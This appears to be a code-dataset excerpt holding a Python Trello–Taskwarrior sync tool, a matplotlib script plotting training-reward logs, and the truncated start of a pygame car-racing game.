self.tw_project_name is not None and self.trello_board_name is not None\n\n\nclass TrelloWarrior(object):\n CONFIG_FILES = [os.path.join(os.path.expanduser('~'), '.trellowarrior.conf'),\n os.path.join(os.path.expanduser('~'),\n '.config/trellowarrior/trellowarrior.conf'),\n './trellowarrior.conf',\n ]\n\n def __init__(self, config_file=None):\n if config_file:\n self.config_file = config_file\n else:\n for file in TrelloWarrior.CONFIG_FILES:\n if os.access(file, os.R_OK):\n self.config_file = file\n break\n else:\n raise SystemExit('No config file found.')\n self.trello_api_key = None\n self.trello_api_secret = None\n self.trello_token = None\n self.trello_token_secret = None\n self.trello_app_name = \"TrelloWarrior\"\n self.taskwarrior_taskrc_location = '~/.taskrc'\n self.taskwarrior_data_location = '~/.task'\n self.sync_projects = []\n self.all_projects = {}\n self._trello_client = None\n self._trello_boards = None\n self._task_warrior = None\n self._me = None\n self.delay_between_sync = None\n self.parse_config()\n\n def validate_config(self):\n res = True\n if (self.trello_api_key is None or\n self.trello_api_secret is None or\n self.trello_token is None or\n self.trello_token_secret is None or\n self.sync_projects is None):\n logger.error('Missing configuration in the default section')\n res = False\n for project_name in self.sync_projects:\n project = self.all_projects.get(project_name)\n if project is None:\n logger.error(\"Project {} is not defined\".format(project_name))\n res = False\n elif not project.is_valid():\n logger.error(\"Project {} is not valid, missing required variable\".format(project_name))\n res = False\n return res\n\n def parse_config(self):\n \"\"\"\n Parse config file and return true if all ok\n All config settings are stored in globar vars\n\n :config_file: config file name\n \"\"\"\n conf = RawConfigParser()\n try:\n conf.read(self.config_file)\n except Exception:\n logger.error(\"Error while parsing configuration file\")\n return\n if conf.has_option('DEFAULT', 'delay_between_sync'):\n self.delay_between_sync = conf.getint('DEFAULT', 'delay_between_sync')\n if conf.has_option('DEFAULT', 'sync_projects'):\n self.sync_projects = conf.get('DEFAULT', 'sync_projects').split()\n for sync_project in conf.sections():\n if conf.has_option(sync_project, 'tw_project_name'):\n tw_project_name = conf.get(sync_project, 'tw_project_name')\n else:\n tw_project_name = None\n if conf.has_option(sync_project, 'trello_board_name'):\n trello_board_name = conf.get(sync_project, 'trello_board_name')\n else:\n trello_board_name = None\n if conf.has_option(sync_project, 'trello_todo_list'):\n trello_todo_list = conf.get(sync_project, 'trello_todo_list')\n else:\n trello_todo_list = 'To Do'\n if conf.has_option(sync_project, 'trello_doing_list'):\n trello_doing_list = conf.get(sync_project, 'trello_doing_list')\n else:\n trello_doing_list = 'In Progress'\n if conf.has_option(sync_project, 'trello_done_list'):\n trello_done_list = conf.get(sync_project, 'trello_done_list')\n else:\n trello_done_list = 'Done'\n if conf.has_option(sync_project, 'tags_color'):\n tags_color = json.loads(conf.get(sync_project, 'tags_color'))\n else:\n tags_color = None\n is_assignee = False\n if conf.has_option(sync_project, 'is_assignee'):\n if conf.get(sync_project, 'is_assignee').lower() in (\"yes\", \"true\",\n \"t\", \"1\"):\n is_assignee = True\n if conf.has_option(sync_project, 'filters_list_csv'):\n # Any card not in the filters list will be archived.\n filters_set = {trello_todo_list, trello_doing_list, trello_done_list}\n filters_set.update(map(str.strip, conf.get(sync_project,\n 'filters_list_csv').split(\",\")))\n else:\n filters_set = None\n\n self.all_projects[sync_project] = TwProject(tw_project_name, trello_board_name, trello_todo_list,\n trello_doing_list, trello_done_list, tags_color,\n is_assignee, filters_set)\n if conf.has_option('DEFAULT', 'trello_api_key'):\n self.trello_api_key = conf.get('DEFAULT', 'trello_api_key')\n if conf.has_option('DEFAULT', 'trello_api_secret'):\n self.trello_api_secret = conf.get('DEFAULT', 'trello_api_secret')\n if conf.has_option('DEFAULT', 'trello_token'):\n self.trello_token = conf.get('DEFAULT', 'trello_token')\n if conf.has_option('DEFAULT', 'trello_token_secret'):\n self.trello_token_secret = conf.get('DEFAULT', 'trello_token_secret')\n if conf.has_option('DEFAULT', 'taskwarrior_taskrc_location'):\n self.taskwarrior_taskrc_location = conf.get('DEFAULT', 'taskwarrior_taskrc_location')\n if conf.has_option('DEFAULT', 'taskwarrior_data_location'):\n self.taskwarrior_data_location = conf.get('DEFAULT', 'taskwarrior_data_location')\n if conf.has_option('DEFAULT', 'trello_app_name'):\n self.trello_app_name = conf.get('DEFAULT', 'trello_app_name')\n\n def write_config(self):\n conf = RawConfigParser()\n if self.trello_api_key:\n conf.set('DEFAULT', 'trello_api_key', self.trello_api_key)\n if self.trello_api_secret:\n conf.set('DEFAULT', 'trello_api_secret', self.trello_api_secret)\n if self.trello_token:\n conf.set('DEFAULT', 'trello_token', self.trello_token)\n if self.trello_token_secret:\n conf.set('DEFAULT', 'trello_token_secret', self.trello_token_secret)\n conf.set('DEFAULT', 'trello_app_name', self.trello_app_name)\n conf.set('DEFAULT', 'taskwarrior_data_location', self.taskwarrior_data_location)\n conf.set('DEFAULT', 'taskwarrior_taskrc_location', self.taskwarrior_taskrc_location)\n if self.delay_between_sync:\n conf.set('DEFAULT', 'delay_between_sync', self.delay_between_sync)\n if self.sync_projects:\n conf.set('DEFAULT', 'sync_projects', ' '.join(sorted(list(set(\n self.sync_projects)))))\n for project_name, project in self.all_projects.items():\n conf.add_section(project_name)\n conf.set(project_name, 'trello_board_name', project.trello_board_name)\n conf.set(project_name, 'tw_project_name', project.tw_project_name)\n conf.set(project_name, 'trello_todo_list', project.trello_todo_list)\n conf.set(project_name, 'trello_doing_list', project.trello_doing_list)\n conf.set(project_name, 'trello_done_list', project.trello_done_list)\n conf.set(project_name, 'filters_list_csv', \", \".join(project.filters_set))\n conf.set(project_name, 'is_assignee', project.is_assignee)\n if project.tags_color:\n conf.set(project_name, 'tags_color', json.dumps(project.tags_color))\n with open(self.config_file, 'w') as f:\n conf.write(f)\n\n @property\n def task_warrior(self):\n \"\"\"\n Lazy creation of the taskwarrior attribute\n :return: TaskWarrior object\n \"\"\"\n if self._task_warrior is None:\n self._task_warrior = TaskWarrior(taskrc_location=self.taskwarrior_taskrc_location,\n data_location=self.taskwarrior_data_location)\n return self._task_warrior\n\n @property\n def trello_client(self):\n \"\"\"\n Lazy creation of the TrelloClient attribute\n :return: TrelloClient object\n \"\"\"\n if self._trello_client is None:\n self._trello_client = TrelloClient(api_key=self.trello_api_key, api_secret=self.trello_api_secret,\n token=self.trello_token, token_secret=self.trello_token_secret)\n return self._trello_client\n\n @property\n def me(self):\n if self._me is None:\n self._me = self.trello_client.get_member('me')\n return self._me\n\n def invalid_trello_cache(self):\n \"\"\"\n Force suppression of trello cache\n \"\"\"\n self._trello_boards = None\n\n @property\n def trello_boards(self):\n \"\"\"\n Lazy load of trello boards\n\n :return: List of trello boards\n \"\"\"\n \"\"\" Get all Trello boards \"\"\"\n if self._trello_boards is None:\n logger.debug(\"Getting all trello boards\")\n boards = self.trello_client.list_boards(board_filter=\"open\")\n logger.debug(\"Boards fetched\")\n self._trello_boards = {}\n trello_sync = {p.trello_board_name: p for p_n, p in self.all_projects.items()\n if p_n in self.sync_projects}\n for board in boards:\n if board.name in trello_sync:\n if board.name not in self._trello_boards:\n self._trello_boards[board.name] = {'board': board, 'lists': None}\n existing_labels = {l.name: l for l in board.get_labels()}\n labels_to_keep = []\n for tag in trello_sync[board.name].tags_color:\n if tag['name'] not in existing_labels:\n logger.debug('creating label : {} -- {}'.format(tag['name'], tag['color']))\n existing_labels[tag['name']] = board.add_label(tag['name'], tag['color'])\n elif existing_labels[tag['name']].color != tag['color']:\n board.delete_label(existing_labels[tag['name']].id)\n existing_labels[tag['name']] = board.add_label(tag['name'], tag['color'])\n trello_sync[board.name].trello_labels[tag['name']] = existing_labels[tag['name']]\n labels_to_keep.append(existing_labels[tag['name']].id)\n for label in board.get_labels():\n if label.id not in labels_to_keep:\n logger.debug('Deleting label : {} ({})'.format(label.name, label.id))\n board.delete_label(label.id)\n return self._trello_boards\n\n def get_trello_board(self, board_name):\n \"\"\"\n Returns Trello board from name\n If does not exist create it and returns new board\n\n :board_name: the board name\n \"\"\"\n if board_name not in self.trello_boards:\n self.trello_boards[board_name] = {'board': self.create_trello_board(board_name), 'lists': None}\n\n board_cache = self.trello_boards[board_name]\n\n if board_cache['lists'] is None:\n logger.debug(\"Getting lists for {}\".format(board_name))\n board_cache['lists'] = board_cache['board'].open_lists()\n logger.debug(\"Lists fetched\")\n return board_cache\n\n def create_trello_board(self, board_name):\n \"\"\"\n Create Trello board and returns it\n\n :board_name: the board name\n \"\"\"\n logger.debug(\"creating board {}\".format(board_name))\n return self.trello_client.add_board(board_name)\n\n def get_trello_list(self, board_name, list_name):\n \"\"\"\n Returns a list object\n\n :board_name: the board name\n :trello_lists: the set of lists\n :list_name: the list name\n \"\"\"\n board_cache = self.get_trello_board(board_name)\n for trello_list in board_cache['lists']:\n if trello_list.name == list_name:\n return trello_list\n trello_list = board_cache['board'].add_list(list_name)\n board_cache['lists'].append(trello_list)\n return trello_list\n\n def get_trello_dic_cards(self, board_name:str, list_filter:set):\n \"\"\"\n Returns a dic of lists with a set of card objects in each element for all lists in a board\n\n :board_name: the board name\n \"\"\"\n trello_cards = {}\n trello_list_objects = self.get_trello_board(board_name)['lists']\n if list_filter:\n trello_list_objects = filter(lambda l: l.name in list_filter, trello_list_objects)\n for trello_list in trello_list_objects:\n trello_cards[trello_list.name] = trello_list.list_cards()\n return trello_cards\n\n def delete_trello_card(self, trello_card_id):\n \"\"\"\n Delete (forever) a Trello Card by ID\n\n :trello_card_id: Trello card ID\n \"\"\"\n try:\n trello_card = self.trello_client.get_card(trello_card_id)\n trello_card.delete()\n except Exception:\n print('Cannot find Trello card with ID {0} deleted in Task Warrior. '\n 'Maybe you deleted it in Trello too.'.format(trello_card_id))\n\n def close_trello_card(self, trello_card_id):\n \"\"\"\n Delete (forever) a Trello Card by ID\n\n :trello_card_id: Trello card ID\n \"\"\"\n try:\n trello_card = self.trello_client.get_card(trello_card_id)\n trello_card.set_closed(True)\n except Exception:\n print('Cannot find Trello card with ID {0} deleted in Task Warrior. '\n 'Maybe you deleted it in Trello too.'.format(trello_card_id))\n\n\n def upload_tw_task(self, tw_task, trello_list, project):\n \"\"\"\n Upload all contents of task to list creating a new card and storing cardid\n\n :tw_task: TaskWarrior task object\n :trello_list: Trello list object\n \"\"\"\n tags = [ tag for tag in tw_task['tags'] if tag in project.trello_labels ]\n new_trello_card = trello_list.add_card(tw_task['description'],\n labels=tags, assign=[self.me])\n if tw_task['due']:\n new_trello_card.set_due(tw_task['due'])\n # Save the Trello Card ID into Task\n tw_task['trelloid'] = new_trello_card.id\n tw_task.save()\n\n def download_trello_card(self, project, list_name, trello_card):\n \"\"\"\n Download all contens of trello card creating new Task Warrior task\n\n :project: the project where the card is stored\n :list_name: the name of list where the card is stored\n :trello_card: a Trello Card object\n :type trello_card: Card\n \"\"\"\n new_tw_task = Task(self.task_warrior)\n new_tw_task['project'] = project.tw_project_name\n new_tw_task['description'] = trello_card.name\n if trello_card.due_date:\n new_tw_task['due'] = trello_card.due_date\n new_tw_task['trelloid'] = trello_card.id\n new_tw_task['trellolistname'] = list_name\n trello_labels = trello_card.labels\n if trello_labels:\n for label in trello_labels:\n if label.name in project.trello_labels:\n new_tw_task['tags'].add(label.name)\n new_tw_task.save()\n if list_name == project.trello_doing_list:\n new_tw_task.start()\n elif list_name == project.trello_done_list:\n new_tw_task.done()\n\n def get_tw_task_by_trello_id(self, trello_id):\n \"\"\"\n Get a task by Trello ID\n Trello ID must be unique, if not this raise an error\n\n :project_name: the project name\n :trello_id: Trello card ID\n \"\"\"\n tw_tasks = self.task_warrior.tasks.filter(trelloid=trello_id)\n if len(tw_tasks) == 0:\n return None\n elif len(tw_tasks) == 1:\n return tw_tasks[0]\n else:\n raise ValueError('Duplicated Trello ID {0} in Taskwarrior tasks. Trello IDs must be unique, please fix'\n ' it before sync.'.format(trello_id))\n\n def upload_new_tw_tasks(self, project):\n \"\"\"\n Upload new TaskWarrior tasks that never uploaded before\n\n :project: TwProject to sync\n :type project: TwProject\n \"\"\"\n tw_pending_tasks = self.task_warrior.tasks.pending().filter(project=project.tw_project_name, trelloid=None)\n tw_completed_tasks = self.task_warrior.tasks.completed().filter(project=project.tw_project_name, trelloid=None)\n doing_list = self.get_trello_list(project.trello_board_name, project.trello_doing_list)\n todo_list = self.get_trello_list(project.trello_board_name, project.trello_todo_list)\n done_list = self.get_trello_list(project.trello_board_name, project.trello_done_list)\n for tw_pending_task in tw_pending_tasks:\n if tw_pending_task.active:\n self.upload_tw_task(tw_pending_task, doing_list, project)\n tw_pending_task['trellolistname'] = project.trello_doing_list\n tw_pending_task.save()\n else:\n if tw_pending_task['trellolistname']:\n list_name = self.get_trello_list(project.trello_board_name,\n tw_pending_task['trellolistname'])\n self.upload_tw_task(tw_pending_task, list_name, project)\n else:\n self.upload_tw_task(tw_pending_task, todo_list, project)\n tw_pending_task['trellolistname'] = project.trello_todo_list\n tw_pending_task.save()\n for tw_completed_task in tw_completed_tasks:\n self.upload_tw_task(tw_completed_task, done_list, project)\n tw_completed_task['trellolistname'] = project.trello_done_list\n tw_completed_task.save()\n\n def sync_trello_tw(self, project):\n \"\"\"\n Download from Trello all cards and sync with TaskWarrior tasks\n\n :project: TwProject to sync\n :type project: TwProject\n \"\"\"\n # Get all Task Warrior deleted tasks and seek for ones that have trelloid (locally deleted)\n tw_deleted_tasks = self.task_warrior.tasks.filter(project=project.tw_project_name, status='deleted')\n for tw_deleted_task in tw_deleted_tasks:\n if tw_deleted_task['trelloid']:\n self.close_trello_card(tw_deleted_task['trelloid'])\n tw_deleted_task['trelloid'] = None\n tw_deleted_task.save()\n # Compare and sync Trello with Task Warrior\n trello_dic_cards = self.get_trello_dic_cards(project.trello_board_name,\n project.filters_set)\n trello_cards_ids = set()\n for list_name in trello_dic_cards:\n for trello_card in trello_dic_cards[list_name]:\n # Fech all data from card\n trello_card.fetch(False)\n trello_cards_ids.add(trello_card.id)\n tw_task = self.get_tw_task_by_trello_id(trello_card.id)\n if tw_task:\n self.sync_task_card(tw_task, trello_card, project, list_name)\n else:\n # Download new Trello cards that not present in Task Warrior\n if project.is_assignee and self.me.id not in trello_card.member_ids:\n continue\n self.download_trello_card(project, list_name, trello_card)\n # Compare Trello and TaskWarrior tasks for remove deleted Trello tasks in Task Warrior\n tw_pending_tasks_ids = set((task['trelloid'] for task in\n self.task_warrior.tasks.pending().filter(project=project.tw_project_name)))\n tw_completed_tasks_ids = set((task['trelloid'] for task in\n self.task_warrior.tasks.completed().filter(project=project.tw_project_name)))\n tw_tasks_ids = tw_pending_tasks_ids | tw_completed_tasks_ids\n tw_tasks_ids.discard(None) # Remove None element if present (new tasks created with Task Warrior)\n deleted_trello_tasks_ids = tw_tasks_ids - trello_cards_ids\n for deleted_trello_task_id in deleted_trello_tasks_ids:\n task_to_delete = self.get_tw_task_by_trello_id(deleted_trello_task_id)\n task_to_delete['trelloid'] = None\n task_to_delete.save()\n task_to_delete.delete()\n\n def sync_task_card(self, tw_task, trello_card, project, list_name):\n \"\"\"\n Sync existing Trello Card with existing Task Warrior task\n\n :tw_task: the Task Warrior task object\n :trello_card: the Trello card object\n :project: the corresponding project object\n :list_name: the name of list where the card is stored\n \"\"\"\n if tw_task['modified'] > trello_card.date_last_activity: # Trello card is older than local\n # Task description - Trello card name\n if tw_task['description'] != trello_card.name:\n trello_card.set_name(tw_task['description'])\n # Task due - Trello due\n if tw_task['due'] and tw_task['due'] != trello_card.due_date:\n trello_card.set_due(tw_task['due'])\n elif tw_task['due'] is None:\n if trello_card.due_date:\n trello_card.remove_due()\n # Task tags - Trello labels\n trello_labels = trello_card.labels\n if trello_labels is None:\n trello_labels = []\n trello_labels_name = [label.name for label in trello_labels]\n for label in trello_labels:\n if label.name in project.trello_labels and label.name not in tw_task['tags']:\n trello_card.remove_label(label)\n for tag in tw_task['tags']:\n if tag in project.trello_labels and tag not in trello_labels_name:\n trello_card.add_label(project.trello_labels[tag])\n # Task List Name / Status - Trello List name\n new_list_name = list_name\n if tw_task['trellolistname'] in [project.trello_doing_list, project.trello_done_list] and \\\n tw_task.pending and not tw_task.active:\n new_list_name = project.trello_todo_list\n elif tw_task['trellolistname'] != project.trello_doing_list and tw_task.active:\n new_list_name = project.trello_doing_list\n elif tw_task['trellolistname'] != project.trello_done_list and tw_task.completed:\n new_list_name = project.trello_done_list\n elif tw_task['trellolistname'] != list_name:\n new_list_name = tw_task['trellolistname']\n if new_list_name != list_name:\n self.move_task_to_list(project, trello_card, tw_task, new_list_name)\n else: # Trello card is newer than local\n # Task description - Trello card name\n if tw_task['description'] != trello_card.name:\n tw_task['description'] = trello_card.name\n # Task due - Trello due\n if trello_card.due_date and (tw_task['due'] is None or tw_task['due'] != trello_card.due_date):\n tw_task['due'] = trello_card.due_date\n elif not trello_card.due_date and tw_task['due']:\n tw_task['due'] = None\n # Task tags - Trello labels\n trello_labels = trello_card.labels\n if trello_labels is None:\n trello_labels = []\n trello_labels_name = [label.name for label in trello_labels]\n for tag in tw_task['tags'].copy():\n if tag in project.trello_labels and tag not in trello_labels_name:\n tw_task['tags'].remove(tag)\n for label in trello_labels:\n if label.name in project.trello_labels and label.name not in tw_task['tags']:\n tw_task['tags'].add(label.name)\n if tw_task['trellolistname'] != list_name:\n tw_task['trellolistname'] = list_name\n if list_name == project.trello_done_list:\n logger.info('Task %s kicked to Done' % tw_task['id'])\n if tw_task.completed:\n tw_task.save()\n else:\n tw_task.save()\n tw_task.done()\n elif list_name == project.trello_doing_list:\n logger.info('Task %s kicked to Doing' % tw_task['id'])\n if tw_task.completed:\n tw_task['status'] = 'pending'\n tw_task.save()\n tw_task.start()\n elif tw_task.active:\n tw_task.save()\n else:\n tw_task.save()\n tw_task.start()\n else:\n logger.info('Task %s kicked to %s' % (tw_task['id'], list_name))\n if tw_task.completed:\n tw_task['status'] = 'pending'\n elif tw_task.active:\n tw_task.save()\n tw_task.stop()\n # Save Task warrior changes (if any)\n tw_task.save()\n\n def move_task_to_list(self, project, trello_card, tw_task, list_name):\n logger.info('Task %s kicked to %s' % (tw_task['id'], list_name))\n trello_list = self.get_trello_list(project.trello_board_name, list_name)\n trello_card.change_list(trello_list.id)\n if tw_task['trellolistname'] != list_name:\n tw_task['trellolistname'] = list_name\n\n def sync(self, projects=None):\n \"\"\"\n Sync all projects defined in the config or those given as a parameters\n\n :param projects: List of projects to sync. If not specified use list of projects from conf file\n :return:\n \"\"\"\n if projects is None:\n projects = self.sync_projects\n logger.debug(\"Will sync {}\".format(projects))\n if self.validate_config():\n for project_name in projects:\n logger.info(\"Syncing {}\".format(project_name))\n project = self.all_projects[project_name]\n logger.debug(\"Do sync Trello - Task Warrior\")\n self.sync_trello_tw(project)\n logger.debug(\"Upload new Task Warrior tasks\")\n self.upload_new_tw_tasks(project)\n logger.debug(\"All projects synced\")\n\n def authenticate(self, expiration=None, api_key=None, api_secret=None, name=None):\n \"\"\"\n Authenticate against trello and store the token in the config file\n\n :param expiration: Can be set to 1hour, 1day, 30days, never. If not set will be read\n from TRELLO_EXPIRATION environment variable\n :param api_key: Trello api key. If not set will be read from the config file or from TRELLO_API_KEY\n environment variable.\n :param api_secret: trello api secret. If not set will be read from the config file or from TRELLO_API_SECRET\n environment variable.\n :param name: Trello application name. If not set will be read from the config file or from TRELLO_NAME\n environment variable.\n \"\"\"\n if api_key:\n self.trello_api_key = api_key\n if api_secret:\n self.trello_api_secret = api_secret\n if name:\n self.trello_app_name = name\n oauth_token = create_oauth_token(expiration=expiration, key=self.trello_api_key, secret=self.trello_api_secret,\n name=self.trello_app_name)\n self.trello_token = oauth_token['oauth_token']\n self.trello_token_secret = oauth_token['oauth_token_secret']\n self.write_config()\n\n def new_project(self, name, tw_project_name, trello_board_name, trello_todo_list, trello_doing_list,\n trello_done_list, no_sync, tags_color, is_assignee, filters_set):\n \"\"\"\n Add a new project to the config\n\n :param name: name of the project in the config\n :param tw_project_name: name of the corresponding taskwarrior project\n :param trello_board_name: name of the corresponding trello board\n :param trello_todo_list: name of the todo list in trello\n :param trello_doing_list: name of the doing list in trello\n :param trello_done_list: name of the done list in trello\n :param no_sync: Do not add the project to the list of projects to sync if set to true\n \"\"\"\n tags_color_dict = {}\n if tags_color is not None:\n for tag in tags_color.split(','):\n name, color = tag.split('=')\n tags_color_dict[name] = color\n project = TwProject(tw_project_name, trello_board_name, trello_todo_list, trello_doing_list, trello_done_list,\n tags_color_dict, is_assignee, filters_set)\n self.all_projects[name] = project\n if not no_sync:\n self.sync_projects.append(name)\n self.write_config()\n\n\ndef sync(args):\n \"\"\"\n Function called by the sync subcomand to perform the sync between trello and taskwarrior\n\n :args: command line arguments. Must contain a 'config' attribute\n \"\"\"\n tw = TrelloWarrior(config_file=args.config)\n if args.projects:\n projects = args.projects\n else:\n projects = None\n tw.sync(projects)\n if args.daemon:\n try:\n minutes = tw.delay_between_sync or 60\n while True:\n logger.info(\"Sync done. will wait {} minutes before next one \"\n \"(press ctrl-c to stop)\".format(minutes))\n sleep(minutes * 60)\n tw.invalid_trello_cache()\n tw.sync(projects)\n except KeyboardInterrupt:\n pass\n\ndef authenticate(args):\n \"\"\"\n Function called by the authenticate subcommand to perform the initial authentication\n\n :args: Command line arguments. Must contain the following attributes : 'config', 'api_key', 'api_key_secret', 'name'\n \"\"\"\n tw = TrelloWarrior(config_file=args.config)\n tw.authenticate(args.expiration, args.api_key, args.api_key_secret, args.name)\n\n\ndef new_project(args):\n \"\"\"\n Function called by the new subcommand to add a project to the config\n\n :args: Command line arguments. Must contain the following attributes : 'config', 'name', 'tw_name', 'board_name',\n 'todo', 'doing', 'done', 'no_sync'\n \"\"\"\n tw = TrelloWarrior(config_file=args.config)\n filters_set = { args.todo, args.doing, args.done }\n filters_set.update(map(str.strip, args.filters_list_csv.split(\",\")))\n tw.new_project(args.name, args.tw_name, args.board_name, args.todo, args.doing,\n args.done, args.no_sync, args.tags_color, args.is_assignee,\n filters_set=filters_set)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Bidirectional sync between trello and taskwarrior\")\n parser.add_argument('-c', '--config', metavar='value', help='custom configuration file path')\n parser.add_argument('-v', '--verbose', help='Increase verbosity. Can be repeated up to 2 times', action='count', default=0)\n subparsers = parser.add_subparsers()\n sync_parser = subparsers.add_parser('sync', help=\"Synchronize trello and taskwarrior\")\n sync_parser.add_argument(\"projects\", nargs='*',\n help=\"List of projects to synchronize. If empty will synchronize all projects listed in \"\n \"the configuration file\")\n sync_parser.add_argument(\"--daemon\", '-d', action='store_true',\n help=\"Launch the sync process every N minutes. The default delay is 60 minutes. Can be\"\n \" changed in the config file ([DEFAULT] section, 'delay_between_sync' option.\")\n sync_parser.set_defaults(func=sync)\n new_parser = subparsers.add_parser('new', help=\"Add a new project to the config file,\"\n \" override existing one if present\")\n new_parser.add_argument('name', help='section name in config file')\n new_parser.add_argument('board_name', help='Trello board name')\n new_parser.add_argument('tw_name', help='Taskwarrior project name')\n new_parser.add_argument('--todo', help='Todo trello list name, default to %(default)s', default='To Do')\n new_parser.add_argument('--doing', help='Doing trello list name, default to %('\n 'default)s', default='In Progress')\n new_parser.add_argument('--done', help='Todo trello list name, default to %(default)s', default='Done')\n new_parser.add_argument('--tags-color', help='Mapping between tags and color labels \"tags1=color1,tags2=color2\"')\n new_parser.add_argument('--no-sync', help='Deactivate auto sync for this project '\n '(it will not be in the sync_project list)')\n new_parser.add_argument('--filters-list-csv',\n type=str,\n help='Comma separated names of lists to include '\n 'for card scanning on Trello. todo, doing, and done '\n 'lists will be included to prevent unintentional '\n 'archiving. '\n 'Without specifying, all lists will be '\n 'searched.')\n new_parser.add_argument('--is-assignee', action='store_true',\n help='Download the card if the client owner is the assignee of the card')\n new_parser.set_defaults(func=new_project)\n auth_parser = subparsers.add_parser('authenticate',\n help=\"Setup the authentication against trello. Store the parameters \"\n \"in the file given with the '--config' argument or the first default\"\n \" config file found. If no file exists, the -c argument must be used.\")\n auth_parser.add_argument(\"--api-key\", help=\"Your api key. Get it from https://trello.com/app-key. \"\n \"If not set will be read from the config file or from \"\n \"TRELLO_API_KEY environment variable.\")\n auth_parser.add_argument(\"--api-key-secret\",\n help=\"Your api key secret. Get it from https://trello.com/app-key. \"\n \"If not set will be read from the config file or from \"\n \"TRELLO_API_SECRET environment variable.\")\n auth_parser.add_argument(\"--name\", help=\"Trello application name. If not set will be read from the config file or \"\n \"from TRELLO_NAME environment variable.\")\n auth_parser.add_argument(\"--expiration\", help=\"Can be set to 1hour, 1day, 30days, never. If not set will be read \"\n \"from TRELLO_EXPIRATION environment variable.\")\n auth_parser.set_defaults(func=authenticate)\n args = parser.parse_args()\n ch = logging.StreamHandler()\n if args.verbose > 1:\n logger.setLevel(logging.DEBUG)\n elif args.verbose == 1:\n logger.setLevel(logging.INFO)\n else:\n logger.setLevel(logging.WARNING)\n ch.setFormatter(logging.Formatter('%(asctime)s\\t- %(levelname)s\\t- %(message)s'))\n logger.addHandler(ch)\n args.func(args)\n","sub_path":"trellowarrior/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":37372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"501700113","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef xy(name):\n with open(name) as f:\n lines = [line for line in f]\n num_logs = 0\n\n all_num = []\n for line in lines:\n num_from_line = []\n num_logs += 1\n segments = line.split(',')\n segments = [cleanse.strip() for cleanse in segments]\n for i in range(len(segments)):\n seg_name_num = segments[i].split(' ')\n num_s = seg_name_num[-1]\n try:\n num = float(num_s)\n except:\n num = 0.0\n print('segment {} is not number'.format(i + 1))\n num_from_line.append(num)\n all_num.append(num_from_line)\n return np.array(all_num).T\n# plt.plot(y, 'ro', label='This is y')\ntrain_mark = '-'\nval_mark = ':'\nname = '20191228-12-52-23-lstm_encoder_decoder.txt'\ntitle = 'LSTM'\nc = 'r'\na = xy(name)\nplt.plot(a[1], c+train_mark, label=title+' Tr')\nplt.plot(a[2], c+val_mark, label=title+' Va')\n\nname = '20191228-19-59-29-lstmcell_encoder_decoder.txt'\ntitle = 'Cell'\nc = 'g'\na = xy(name)\nplt.plot(a[1], c+train_mark, label=title+' Tr')\nplt.plot(a[2], c+val_mark, label=title+' Va')\n\nname = '20191229-03-29-43-cnn_lstmcell_encoder_decoder.txt'\ntitle = 'CNLS'\nc = 'b'\na = xy(name)\nplt.plot(a[1], c+train_mark, label=title+' Tr')\nplt.plot(a[2], c+val_mark, label=title+' Va')\n\nname = '20191229-08-27-41-cnn_lstmcell_encoder_decoder.txt'\ntitle = 'CNLS2'\nc = 'y'\na = xy(name)\nplt.plot(a[1], c+train_mark, label=title+' Tr')\nplt.plot(a[2], c+val_mark, label=title+' Va')\n\nname = '20191231-07-15-21-cnn_lstmcell_v0002_encoder_decoder.txt'\ntitle = 'CNLS v2'\nc = 'c'\na = xy(name)\nplt.plot(a[1], c+train_mark, label=title+' Tr')\nplt.plot(a[2], c+val_mark, label=title+' Va')\n\n\n''' legend location\ncenter left\ncenter right\nlower left\nbest\nlower right\nupper left\nlower center\nupper right\nupper center\ncenter\nright\n'''\n\nplt.legend(loc='upper right')\n\n\nplt.xlabel('Frame')\nplt.ylabel('Episodic Reward')\n# plt.xlim(left=0, right=50000000*0.4)\n# plt.ylim(bottom=-22, top=-10)\n\nplt.show()\n\n\n\n\n\n\n\n\n\n''' Line style\n'-'\tsolid line style\n'--'\tdashed line style\n'-.'\tdash-dot line style\n':'\tdotted line style\n'.'\tpoint marker\n','\tpixel marker\n'o'\tcircle marker\n'v'\ttriangle_down marker\n'^'\ttriangle_up marker\n'<'\ttriangle_left marker\n'>'\ttriangle_right marker\n'1'\ttri_down marker\n'2'\ttri_up marker\n'3'\ttri_left marker\n'4'\ttri_right marker\n's'\tsquare marker\n'p'\tpentagon marker\n'*'\tstar marker\n'h'\thexagon1 marker\n'H'\thexagon2 marker\n'+'\tplus marker\n'x'\tx marker\n'D'\tdiamond marker\n'd'\tthin_diamond marker\n'|'\tvline marker\n'_'\thline marker\n'''\n\n''' Colors\n‘b’\tblue\n‘g’\tgreen\n‘r’\tred\n‘c’\tcyan\n‘m’\tmagenta\n‘y’\tyellow\n‘k’\tblack\n‘w’\twhite\n'''","sub_path":"__PPPPLLLLTTTT__LLLLOOOOGGGG/examples/logs1/plot_log.py","file_name":"plot_log.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"286086274","text":"import pygame\nfrom random import randint\n\npygame.init()\n\nxx = 0\nyy = 0\n\nx = 180 # 180 340 540 #posição x do carro play\ny = 370 #posição y do carro play\n\npos_x02 = 200 # posição x do carro 02\npos_y02 = -200 # posição y do carro 02\n\npos_x03 = 355 # posição x do carro 03\npos_y03 = -900 # posição y do carro 03\n\npos_x04 = 510\npos_y04 = -600\n\najuste_carro2 = 0\najuste_carro3 = 0\najuste_carro4 = 0\n\n\ntimer = 0\ntempo_segundo = 0\n\nvelocidade = 50 #velocidade do carro Play\nvelocidade02 = 30 #velocidade dos demais carros\n\n \n\n#carregamento das imagens\nfundo = pygame.image.load(r'C:\\Users\\Paulo Trindade\\Documents\\Meu_GitHub\\Jogos\\Jogo carro\\arquivos\\pista.png')\ncarroPlay = pygame.image.load(r'C:\\Users\\Paulo Trindade\\Documents\\Meu_GitHub\\Jogos\\Jogo carro\\arquivos\\carroPlay.png')\ncarro02 = pygame.image.load(r'C:\\Users\\Paulo Trindade\\Documents\\Meu_GitHub\\Jogos\\Jogo carro\\arquivos\\carro02.png')\ncarro03 = pygame.image.load(r'C:\\Users\\Paulo Trindade\\Documents\\Meu_GitHub\\Jogos\\Jogo carro\\arquivos\\carro03.png')\ncarro04 = pygame.image.load(r'C:\\Users\\Paulo 